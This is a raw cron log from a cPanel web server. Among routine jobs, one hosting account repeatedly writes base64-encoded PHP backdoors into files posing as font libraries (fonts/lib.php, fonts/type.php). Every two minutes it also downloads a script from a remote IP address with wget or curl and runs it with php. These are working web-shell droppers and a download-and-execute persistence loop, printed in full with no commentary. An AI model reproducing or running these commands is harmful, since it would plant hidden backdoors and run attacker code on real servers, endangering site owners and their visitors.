Sep  9 20:42:01 ip-184-168-122-23 CROND[11397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:43:01 ip-184-168-122-23 CROND[11475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:43:01 ip-184-168-122-23 CROND[11478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:43:01 ip-184-168-122-23 CROND[11476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:43:01 ip-184-168-122-23 CROND[11477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:44:01 ip-184-168-122-23 CROND[11552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:44:01 ip-184-168-122-23 CROND[11553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:44:01 ip-184-168-122-23 CROND[11554]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:44:01 ip-184-168-122-23 CROND[11555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:44:01 ip-184-168-122-23 CROND[11558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:45:01 ip-184-168-122-23 CROND[11658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:45:01 ip-184-168-122-23 CROND[11661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:45:01 ip-184-168-122-23 CROND[11662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:45:01 ip-184-168-122-23 CROND[11664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:45:01 ip-184-168-122-23 CROND[11666]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  9 20:45:01 ip-184-168-122-23 CROND[11663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:45:01 ip-184-168-122-23 CROND[11665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:46:01 ip-184-168-122-23 CROND[11854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:46:01 ip-184-168-122-23 CROND[11856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:46:01 ip-184-168-122-23 CROND[11858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:46:01 ip-184-168-122-23 CROND[11857]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 20:46:01 ip-184-168-122-23 CROND[11859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:46:01 ip-184-168-122-23 CROND[11861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:46:01 ip-184-168-122-23 CROND[11862]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 20:47:01 ip-184-168-122-23 CROND[11976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:47:01 ip-184-168-122-23 CROND[11981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:47:01 ip-184-168-122-23 CROND[11979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:47:01 ip-184-168-122-23 CROND[11980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:48:01 ip-184-168-122-23 CROND[12058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:48:01 ip-184-168-122-23 CROND[12062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:48:01 ip-184-168-122-23 CROND[12060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:48:01 ip-184-168-122-23 CROND[12061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:48:01 ip-184-168-122-23 CROND[12063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:49:01 ip-184-168-122-23 CROND[12148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:49:01 ip-184-168-122-23 CROND[12150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:49:01 ip-184-168-122-23 CROND[12152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:49:01 ip-184-168-122-23 CROND[12153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:50:01 ip-184-168-122-23 CROND[12256]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 20:50:01 ip-184-168-122-23 CROND[12257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:50:01 ip-184-168-122-23 CROND[12260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:50:01 ip-184-168-122-23 CROND[12259]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 20:50:01 ip-184-168-122-23 CROND[12263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 20:50:01 ip-184-168-122-23 CROND[12264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 20:50:01 ip-184-168-122-23 CROND[12269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:50:01 ip-184-168-122-23 CROND[12267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:50:01 ip-184-168-122-23 CROND[12270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:51:01 ip-184-168-122-23 CROND[12384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:51:01 ip-184-168-122-23 CROND[12385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:51:01 ip-184-168-122-23 CROND[12387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:51:01 ip-184-168-122-23 CROND[12388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:52:01 ip-184-168-122-23 CROND[12481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 20:52:01 ip-184-168-122-23 CROND[12484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:52:01 ip-184-168-122-23 CROND[12482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:52:01 ip-184-168-122-23 CROND[12487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:52:01 ip-184-168-122-23 CROND[12488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:53:01 ip-184-168-122-23 CROND[12566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:53:01 ip-184-168-122-23 CROND[12570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 20:53:01 ip-184-168-122-23 CROND[12569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:53:01 ip-184-168-122-23 CROND[12572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:54:02 ip-184-168-122-23 CROND[12666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 20:54:02 ip-184-168-122-23 CROND[12667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 20:54:02 ip-184-168-122-23 CROND[12669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 20:54:02 ip-184-168-122-23 CROND[12671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
